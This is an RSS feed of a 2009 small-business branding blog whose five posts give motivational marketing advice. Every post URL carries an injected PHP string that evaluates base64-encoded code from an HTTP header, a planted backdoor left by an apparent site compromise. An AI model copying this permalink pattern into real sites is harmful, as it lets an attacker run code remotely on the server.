Brand Homework http://blog.brandhomework.com Branding for Conversation Sun, 06 Dec 2009 17:50:34 +0000 http://wordpress.org/?v=2.6 en Be Like a Realtor, Put Out Your Sign http://blog.brandhomework.com/2009/12/06/be-like-a-realtor-put-out-your-sign/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.brandhomework.com/2009/12/06/be-like-a-realtor-put-out-your-sign/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 06 Dec 2009 17:48:57 +0000 admin http://blog.brandhomework.com/?p=16 It’s the holiday season, a time of celebration with friends and family. Yet, while we get fat on Turkey and pumpkin pie, many of us put our branding efforts on hold, waiting for the spring or lame New Year’s resolution to make us serious again. One group of our fellow bretheren entrepreneurs doesn’t rest on past laurels. [...]]]> It’s the holiday season, a time of celebration with friends and family. Yet, while we get fat on Turkey and pumpkin pie, many of us put our branding efforts on hold, waiting for the spring or lame New Year’s resolution to make us serious again. One group of our fellow bretheren entrepreneurs doesn’t rest on past laurels. They put out their sign, 24 x7, until the customer they know exists materializes and purchases. 

Yes, I know people buy homes and property more often in the Spring or right before school starts… yada, yada, yada.  Go drive your neighborhood.  The real estate signs are out.  Every good agent I know, doesn’t disuade a new client because of the season. These realtors get the customer under contract and put all their selling efforts to making this new customer happy, 24 x7.

Ask yourself, “What is it that I can do right now to get my message to my customers?”  Review your marketing plans now.  Review your customer data now.  Implement changes now, so that when the season changes, you’re ahead of the game.

Defeat the dragon of procrastination. Put out your sign, today.

]]> http://blog.brandhomework.com/2009/12/06/be-like-a-realtor-put-out-your-sign/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Branding in a Bad Economy, Laugh with a Pothole. http://blog.brandhomework.com/2009/10/28/branding-in-a-bad-economy-laugh-with-a-pothole/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.brandhomework.com/2009/10/28/branding-in-a-bad-economy-laugh-with-a-pothole/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 28 Oct 2009 12:30:17 +0000 admin http://blog.brandhomework.com/archives/7 Worried about your marketing dollars?  Not sure about your 4th quarter spend, let alone next year’s projections?  This is not the time to freeze like a dear in the headlights.  Get your message out there. Spend with ROI in mind.  Review your efforts: your ad spots, your Marcom pieces.  Make sure each scribble, all consistently [...]]]> Worried about your marketing dollars?  Not sure about your 4th quarter spend, let alone next year’s projections?  This is not the time to freeze like a dear in the headlights.  Get your message out there. Spend with ROI in mind.  Review your efforts: your ad spots, your Marcom pieces.  Make sure each scribble, all consistently say the same message, your message.  Good ROI (Return on Investment) occurs when your targeted message touches your targeted audience repeatedly. Maximum ROI occurs when the message is viral and able to be transmitted by other people, lifted by other hands across your targeted community. 

Are you talking about a ‘talking pot hole’? Have you seen the spot on TV? Have forwarded the you-tube version? Have you laughed at the extended radio commericial? Have you gigled at it with talk show hosts repeating the diatribe of the pothole? 

My dears, focus on the light and leap forward.  With enough momentum, you leap over the speeding car.

]]> http://blog.brandhomework.com/2009/10/28/branding-in-a-bad-economy-laugh-with-a-pothole/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Take 5 minutes to Brand http://blog.brandhomework.com/2009/07/29/take-a-5-minutes-to-brand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.brandhomework.com/2009/07/29/take-a-5-minutes-to-brand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 29 Jul 2009 15:50:09 +0000 admin http://blog.brandhomework.com/archives/6 Wow, my day planner is exploding.

Outlook is beeping at me for another meeting.

How can I find the time to work on my brand?

If you don’t work on your brand, you might as well prepare for the going out of business sale. You have to be vigilant, I dare say militant about your brand. Draw your [...]]]> Wow, my day planner is exploding.

Outlook is beeping at me for another meeting.

How can I find the time to work on my brand?

If you don’t work on your brand, you might as well prepare for the going out of business sale. You have to be vigilant, I dare say militant about your brand. Draw your sword and be prepared to fight:

1. Fight for the best corporate image you can present.

2. Fight for the best service or product you can produce.

3. Fight for the best customer service you can deliver.

4. Fight for the best aftersale support you can muster.

5. Fight for buzz.

The company that can’t create desire amongst its customers will be replaced.

Go back to Outlook or the Ipod and schedule five minutes of each day to think about your brand. Meditate on your core messages and find the salient points that keep your services/products fresh and your customers hooked.

]]> http://blog.brandhomework.com/2009/07/29/take-a-5-minutes-to-brand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ You are a Brand Manager http://blog.brandhomework.com/2008/08/30/you-are-a-brand-manager/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.brandhomework.com/2008/08/30/you-are-a-brand-manager/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 30 Aug 2008 16:10:37 +0000 admin http://blog.brandhomework.com/archives/5  

You are a brand manager.

 

As an entrepreneur, dealing with the day to day responsibility of running your business, you may not realize that you have another job.  You are a brand manager.

 

Before you switch to another blog, or go see [...]]]>  

You are a brand manager.

 

As an entrepreneur, dealing with the day to day responsibility of running your business, you may not realize that you have another job.  You are a brand manager.

 

Before you switch to another blog, or go see the latest news feed on CNN, admit it. You have another important job. If you do any of the following, you are a brand manager:

 

  1. You decide when to advertise.

 

  1. You decide when things will be placed in promotion or on sale.

 

  1. You decide what events to sponsor.

 

  1. You decide what posters will be placed in your window.

 

  1. You decide what content will be highlighted on your web page.

 

  1. You decide what events to sponsor.

 

  1. You pay for any ads: radio, TV, print (newspaper, magazines, newsletter ads) or web ads (Google Ads, etc.)

 

Thus, if the buck stops with you, congratulations. You are a brand manager. Every day the small business owner makes decisions about her business that affects the brand. The small business owner must be judicious in his efforts, choosing ads that not only highlight the sale product, the event sponsorship, etc.  but choose formats that reflect well on your business.

 

The homemade handwritten sign may say “gitchie” or authentic, but it may not reflect well if your business is suppose to have polish or exude professionalism.  Think about it.

  Image from ospreydesign.com

 If you went into Kinko’s and all the signs were hand written, would you feel secure that they could produce your quality manuals?

 

   Image from the travelblog.com 

 Many coffee shops have handwritten chalk menu’s. This is suppose to make the customers think that items are fresh and changed often.  

 

Choosing how to promote is just as important as choosing what to promote. I believe that every advertisement, every sign, every menu, every thing that bears your business’ name, should reflect the values of your business.  As your business’ brand manager, it’s your job to make sure everything your business does: promotions, daily running of the business, etc. uplift your brand.

 

Actions:

Inventory your current brand promotions. What do they say about your business?

Take stock of everything that bears your name?  What does it say about you?

 

]]> http://blog.brandhomework.com/2008/08/30/you-are-a-brand-manager/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Have You Thought About Branding Today? http://blog.brandhomework.com/2008/06/12/have-you-thought-about-branding-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.brandhomework.com/2008/06/12/have-you-thought-about-branding-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 12 Jun 2008 13:31:10 +0000 admin http://blog.brandhomework.com/archives/4  

The entrepreneur’s checklist:

Get coffee before starting to work Update business plan to get money Work the business Sell something Get coffee to relax before starting to work again

As much as you are trying to create your business, you have to spend energy and intellectual [...]]]>  

The entrepreneur’s checklist:

  1. Get coffee before starting to work
  2. Update business plan to get money
  3. Work the business
  4. Sell something
  5. Get coffee to relax before starting to work again

As much as you are trying to create your business, you have to spend energy and intellectual capital on your brand. The typical entrepreneur is not Wal-Mart’s, having millions of dollars to pay for advertising and marketing specialist to develop and nurture the brand, the identity of the product/services for sale and company.

 

When I close my eyes and hear the word, “Nike,” images of strong athletes winning races pop into my head. The Nike Corporation has spent time and effort cultivating its brand identity to evoke those kinds of sentiments. It makes sure its commercials, ads and product quality all match those images. Thus, every effort continues to build the brand.

 

Entrepreneurs need to make sure its products, marketing, and even customer service, all speak the same language, the magic words of its brand.

  • What does your Company name mean to you?

  • Ask a customer (or potential customer) what your Company name means to a customer.

  • Do the meanings match?

Find a disconnect or weak comparisons?  Checklist #6:Work on the brand.

 

 

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